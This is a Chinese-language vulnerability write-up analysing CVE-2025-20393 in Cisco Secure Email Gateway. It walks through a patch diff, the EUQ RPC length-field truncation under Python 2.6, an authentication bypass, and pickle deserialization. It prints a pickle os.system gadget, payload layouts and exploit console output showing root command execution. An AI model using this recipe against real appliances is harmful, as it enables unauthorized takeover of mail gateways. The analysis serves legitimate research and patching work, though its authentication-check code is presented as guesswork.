TL;DR
CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞(CVSS 10.0)。漏洞成因是 EUQ(End User Quarantine)服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...),而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时,长度字段溢出为 0,导致认证绕过,最终通过 cPickle.loads() 实现未授权 RCE。
0x00 漏洞背景2025年12月17日,Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4,修复了一个 CVSS 10.0 的严重漏洞:
字段
值
Advisory ID
cisco-sa-sma-attack-N9bf4
CVE
CVE-2025-20393
CVSS 3.1
10.0 (Critical)
CWE
CWE-20 (Improper Input Validation)
受影响产品
Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs
CSCws36549, CSCws52505
Workarounds
无
我们获取了 AsyncOS 15.5.3 固件,通过逆向工程和代码分析
0x01 补丁分析当补丁版本发布后,我们提取并对比了两个版本的固件。EUQ(End User Quarantine)服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。
对比 AsyncOS 15.5.3(漏洞版本)与补丁版本的 CommandMessage.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \ AsyncOS_patched/site-packages/zeus/CommandMessage.py 30a26,47 > if destination is not None: > if len(destination) >= 255: > debug_str = 'DEBUG:send_message:Invalid destination len:%r ...' > coro.print_stderr(debug_str) > raise Commandment.MessageFormatError() > if source is not None: > if len(source ) >= 255: > debug_str = 'DEBUG:send_message:Invalid source len:%r ...' > coro.print_stderr(debug_str) > raise Commandment.MessageFormatError()
补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。
关键问题
猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch:
“为什么是 255?如果发送 256 字节会怎样?”
0x02 Python 2.6 的 struct.pack 行为查看反编译后的文件头:
AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要,因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。
Python 3.x(严格模式):
1 2 3 4 5 >>> import struct>>> struct.pack('>B' , 256 )Traceback (most recent call last): File "<stdin>" , line 1 , in <module> struct.error: 'B' format requires 0 <= number <= 255
Python 3 在值超出范围时抛出异常。
Python 2.6(静默截断):
1 2 3 4 5 6 7 >>> import struct>>> struct.pack('>B' , 256 )'\x00' >>> struct.pack('>B' , 289 )'!' >>> ord ('!' )33
Python 2.6 对超出范围的值执行模运算:
1 2 3 256 % 256 = 0 → '\x00' 289 % 256 = 33 → '!' (0x21) 512 % 256 = 0 → '\x00'
这就是整数溢出。在 Python 2.6 中,struct.pack('>B', 256) 不会失败——它返回 0x00。
为何重要
RPC 消息打包代码使用:
1 dst_len = struct.pack('>B' , len (destination))
当 len(destination) = 256 时:
Python 3:抛出异常,攻击失败
Python 2.6:dst_len = '\x00',攻击成功
Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。
0x03 EUQ RPC 协议分析 EUQ 服务架构EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件:
1 2 3 4 5 6 7 8 ┌─────────────┐ HTTPS/83 ┌─────────────┐ RPC ┌─────────────┐ │ End User │ ◄───────────────► │ EUQ Web │ ◄────────────► │ EUQ Backend│ │ Browser │ │ Frontend │ │ (Python) │ └─────────────┘ └─────────────┘ └─────────────┘ │ ▼ /Search endpoint ?auth=...&serial=...
消息头定义Commandment.py 定义了 RPC 消息头格式:
1 2 3 HEADER = '>BBIIBB32s' HEADER_LENGTH = struct.calcsize(HEADER)
格式解析:
格式
类型
大小
字段
>
Big-endian
-
字节序修饰符
B
unsigned char
1 byte
version
B
unsigned char
1 byte
ttl
I
unsigned int
4 bytes
message_length
I
unsigned int
4 bytes
message_type
B
unsigned char
1 byte
source_length
B
unsigned char
1 byte
destination_length
32s
char[32]
32 bytes
txn_tag
总 header 大小:1+1+4+4+1+1+32 = 44 字节
漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符(B),范围限制为 0-255。
消息构造:send_message()1 2 3 4 5 6 7 8 9 10 11 12 13 14 def send_message (write_method, message_type, source, destination='' , message='' , ttl=0 , timeout=0 , tag=None ): header = struct.pack( Commandment.HEADER, Commandment.MESSAGE_VERSION, ttl, len (message), message_type, len (source), len (destination), _message_tag(tag) ) packet = header + source + destination + message write_method(packet)
关键观察 :当 len(destination) 超过 255 时,Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。
消息解析:read_message()1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def read_message (read_method, timeout=0 ): header = _read(read_method, Commandment.HEADER_LENGTH, timeout) try : (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack( Commandment.HEADER, header) except struct.error: raise Commandment.MessageFormatError() if version != Commandment.MESSAGE_VERSION: raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION) source = _read(read_method, source_length, timeout) if destination_length: destination = _read(read_method, destination_length, timeout) else : destination = '' message = _read(read_method, message_length, timeout) return (txn_tag.rstrip('\x00' ), ttl, message_type, source, destination, message)
关键漏洞路径 [A] 和 [B]:
当 destination_length = 0(由于溢出),代码进入 else 分支
destination 被设为空字符串 ''
空 destination 不会触发认证验证
攻击者控制的 message 载荷直接进入 cPickle.loads()
完整消息结构1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 +--------------------------- HEADER (44 bytes) ---------------------------+ | | | +---------+---------+--------------+--------------+----------+---------+--------+ | | version | ttl | message_len | message_type |source_len| dest_len|txn_tag | | | (1B) | (1B) | (4B) | (4B) | (1B) | (1B) | (32B) | | | 'B' | 'B' | 'I' | 'I' | 'B' | 'B' | '32s' | | +---------+---------+--------------+--------------+----------+---------+--------+ | | +--------------------------------------------------------------------------+ | v +--------------------------- BODY (variable) -----------------------------+ | | | +--------------------+---------------------+----------------------------+ | | source | destination | message | | | (source_len bytes) | (dest_len bytes) | (message_len bytes) | | | | | -> cPickle.loads() | | +--------------------+---------------------+----------------------------+ | | +--------------------------------------------------------------------------+
0x04 漏洞分析 溢出链追踪发送 256 字节 destination 时的执行流程:
步骤 1:消息打包(发送端)
1 2 3 4 5 6 7 destination = attacker_controlled_256_bytes header = struct.pack('>BBIIBB32s' , ..., len (destination), ... )
步骤 2:消息解析(接收端)
1 2 3 4 5 6 7 8 9 10 11 12 13 (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s' , header) if destination_length: destination = _read(read_method, destination_length, timeout) else : destination = '' message = _read(read_method, message_length, timeout) return (..., destination, message)
步骤 3:通过 Pickle 实现 RCE
1 2 result = cPickle.loads(message)
代码流程图1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 攻击者发送 256 字节的 serial 参数 │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ send_message() @ CommandMessage.py │ │ │ │ destination = attacker_payload (256 bytes) │ │ │ │ │ ▼ │ │ struct.pack('>BBIIBB32s', ..., len(destination), ...) │ │ struct.pack(..., 256, ...) │ │ │ │ │ ▼ │ │ Python 2.6: 256 % 256 = 0 → '\x00' ← 整数溢出 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ │ 网络传输 ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ read_message() @ CommandMessage.py │ │ │ │ header = _read(read_method, 44, timeout) │ │ (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header) │ │ │ │ │ ▼ │ │ dest_len = 0 ← 来自溢出 │ │ │ │ │ ▼ │ │ if dest_len: # False! │ │ destination = _read(read_method, dest_len, timeout) │ │ else: │ │ destination = '' ← 空字符串,认证被绕过 │ │ │ │ │ ▼ │ │ message = _read(read_method, message_len, timeout) │ │ return (..., destination, message) │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ RPC Handler │ │ │ │ (_, _, _, _, destination, message) = read_message(...) │ │ │ │ │ ▼ │ │ # destination = ''(空)- 验证被跳过或通过 │ │ │ │ │ ▼ │ │ result = cPickle.loads(message) ← 攻击者控制的 PICKLE │ │ │ │ │ ▼ │ │ os.system('attacker_command') ← RCE 达成 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘
为何 Pickle 是危险的对不可信输入使用 cPickle.loads() 是灾难性的:
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport osclass Exploit : def __reduce__ (self ): return (os.system, ('id' ,)) payload = pickle.dumps(Exploit()) pickle.loads(payload)
__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。
0x05 利用策略:认证绕过深度分析 认证问题正常操作中,EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号:
1 2 3 4 5 6 7 8 9 10 def handle_rpc_message (message_data ): (_, _, _, source, destination, message) = read_message(...) if destination != MY_SERIAL_NUMBER: raise AuthenticationError("Message not for this server" ) result = cPickle.loads(message)
挑战 :要利用 pickle 反序列化,我们需要通过认证检查。但如何知道目标服务器的序列号?
两种利用方式对比
方式
前提条件
溢出值
使用场景
序列号匹配
需知道目标序列号
dst_len = serial_len
序列号已泄露时
零长度绕过
无
dst_len = 0
通用,无前提条件
方式 1:序列号匹配1 2 3 4 5 Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes) Payload 长度: 256 + 33 = 289 bytes 溢出: 289 % 256 = 33 ✓ 服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过
Payload 布局:
1 2 3 4 5 6 7 8 9 ┌────────────────────────┬────────────────────┬─────────────────┐ │ Server Serial │ Pickle Payload │ Padding │ │ (33 bytes) │ (72 bytes) │ (184 bytes) │ └────────────────────────┴────────────────────┴─────────────────┘ Total: 289 bytes → 289 % 256 = 33 │ │ ▼ ▼ 通过认证检查 cPickle.loads() → RCE
方式 2:零长度绕过(无前提条件)Jiantao 的关键洞察是认识到 dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码:
1 2 3 4 5 6 7 8 9 10 11 def read_message (read_method, timeout=0 ): if destination_length: destination = _read(read_method, destination_length, timeout) else : destination = ''
当 destination_length = 0 时:
[1] 处的 if destination_length: 检查求值为 False(0 是假值)
代码进入 [2] 处的 else 分支
destination 被设为空字符串 ''
不从网络读取任何字节作为 destination
空 Destination 为何能绕过认证通过分析,我们确定当 destination 为空时,认证检查存在以下行为之一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if destination: if destination != MY_SERIAL_NUMBER: raise AuthenticationError(...) if destination == '' or destination == MY_SERIAL_NUMBER: process_message(...) try : validate_destination(destination) except : pass
无论哪种情况,空 destination 都允许消息到达 cPickle.loads()。
两种方式对比1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ┌─────────────────────────────────────────────────────────────────────────────┐ │ 序列号匹配方式 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes │ │ │ │ 溢出: 289 % 256 = 33 │ │ │ │ 服务器读取: │ │ dst_len = 33 │ │ destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A" │ │ 认证检查: destination == MY_SERIAL → 通过 ✓ │ │ message = payload[33:105] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ 要求: 必须知道服务器的序列号 │ └─────────────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────────────┐ │ 零长度绕过方式 ✓ │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes │ │ │ │ 溢出: 256 % 256 = 0 │ │ │ │ 服务器读取: │ │ dst_len = 0 │ │ if dst_len: ... else: destination = '' ← 空字符串 │ │ 认证检查: destination == '' → 绕过! ✓ │ │ message = payload[0:72] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ 要求: 无 - 对任何目标都有效 │ └─────────────────────────────────────────────────────────────────────────────┘
我们选择零长度绕过方式,因为它无需任何目标信息即可实现通用利用。
0x06 利用演示1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $ python3 exploit.py 192.168.2.10 'id > /tmp/pwned' ====================================================================== CVE-2025-20393 - Cisco Secure Email Gateway RCE Advisory: cisco-sa-sma-attack-N9bf4 ====================================================================== [*] Target: https://192.168.2.10:83 [*] Command: id > /tmp/pwned [*] Exploit Details: ├─ Python 2.6 struct.pack('>B' , 256) = 0x00 (truncated) ├─ Pickle gadget: 72 bytes ├─ Padding: 184 bytes ├─ Total payload: 256 bytes └─ Overflow: 256 % 256 = 0 [*] URL length: 891 bytes [*] Sending exploit... [+] Read timeout - likely successful! (Server busy executing pickle payload) [*] Verify: $ ssh [email protected] 'cat /tmp/pwned'
验证:
1 2 $ ssh [email protected] 'cat /tmp/pwned' uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
0x07 总结CVE-2025-20393 展示了技术债务的复合危害:
Python 2.6 — 一个 17 年前的运行时,带有不安全的默认行为
单字节长度字段 — 过早优化创造了溢出条件
Pickle 反序列化 — 方便但等同于对不可信输入执行 eval()
缺失验证 — 补丁揭示了本应从一开始就存在的校验
References